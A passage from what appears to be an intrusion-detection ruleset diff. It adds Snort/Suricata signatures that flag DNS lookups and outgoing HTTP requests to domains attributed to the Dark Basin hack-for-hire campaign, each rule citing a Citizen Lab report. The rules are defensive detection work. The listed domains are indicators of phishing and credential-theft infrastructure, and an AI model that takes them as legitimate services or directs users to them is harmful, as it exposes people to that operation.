reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: trustedserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|trustedserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356861; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: trustedserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|trustedserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356862; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: trustedserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"trustedserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])trustedserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356863; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: trusteventservices.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|trusteventservices|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356681; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: trusteventservices.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|trusteventservices|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356682; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: trusteventservices.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"trusteventservices.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])trusteventservices\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356683; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ultimateresponseservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|ultimateresponseservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357141; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ultimateresponseservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|ultimateresponseservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357142; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ultimateresponseservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ultimateresponseservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ultimateresponseservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357143; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ultronnetworksolution.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|ultronnetworksolution|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353531; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ultronnetworksolution.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|ultronnetworksolution|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353532; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ultronnetworksolution.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ultronnetworksolution.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ultronnetworksolution\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353533; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: un-told.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|un-told|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353871; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: un-told.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|un-told|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353872; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: un-told.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"un-told.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])un\-told\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353873; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: updatenameserver45.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|updatenameserver45|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356281; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: updatenameserver45.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|updatenameserver45|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356282; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: updatenameserver45.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"updatenameserver45.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])updatenameserver45\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356283; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: upgradetravelservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|upgradetravelservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355141; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: upgradetravelservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|upgradetravelservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355142; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: upgradetravelservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"upgradetravelservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])upgradetravelservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355143; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: usewithcareathome.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|usewithcareathome|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356631; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: usewithcareathome.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|usewithcareathome|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356632; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: usewithcareathome.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"usewithcareathome.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])usewithcareathome\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356633; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: watchmanservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|watchmanservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355371; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: watchmanservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|watchmanservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355372; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: watchmanservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"watchmanservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])watchmanservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355373; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webdomainexperts.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webdomainexperts|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355891; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webdomainexperts.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webdomainexperts|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355892; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webdomainexperts.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webdomainexperts.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webdomainexperts\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355893; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webhostwebcare.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|webhostwebcare|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354791; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webhostwebcare.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|webhostwebcare|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354792; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webhostwebcare.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webhostwebcare.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webhostwebcare\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354793; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webmailmanageruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webmailmanageruk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357671; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webmailmanageruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webmailmanageruk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357672; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webmailmanageruk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webmailmanageruk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webmailmanageruk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357673; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webmasterserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webmasterserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353441; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webmasterserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webmasterserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353442; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webmasterserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webmasterserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webmasterserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353443; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webnetonlineservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|webnetonlineservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353451; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webnetonlineservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|webnetonlineservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353452; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webnetonlineservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webnetonlineservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webnetonlineservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353453; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webredirect.click"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webredirect|05|click|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355161; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webredirect.click"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webredirect|05|click|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355162; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webredirect.click"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webredirect.click"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webredirect\.click[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355163; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webredirect39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|webredirect39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353421; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webredirect39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|webredirect39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353422; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webredirect39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webredirect39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webredirect39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353423; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: websecurehostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|websecurehostings|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355021; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: websecurehostings.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|websecurehostings|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355022; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: websecurehostings.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"websecurehostings.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])websecurehostings\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355023; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354181; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354182; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354183; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserver39490.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|webserver39490|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355531; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserver39490.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|webserver39490|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355532; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserver39490.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserver39490.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserver39490\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355533; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserver91.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webserver91|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354001; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserver91.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|webserver91|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354002; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserver91.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserver91.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserver91\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354003; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverdomaineu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomaineu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355551; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverdomaineu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomaineu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355552; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverdomaineu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverdomaineu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverdomaineu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355553; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomainhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355561; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomainhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355562; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverdomainhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverdomainhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverdomainhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355563; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomainuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355571; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|webserverdomainuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355572; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverdomainuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverdomainuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverdomainuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355573; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|webserverdomainusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355581; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverdomainusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; 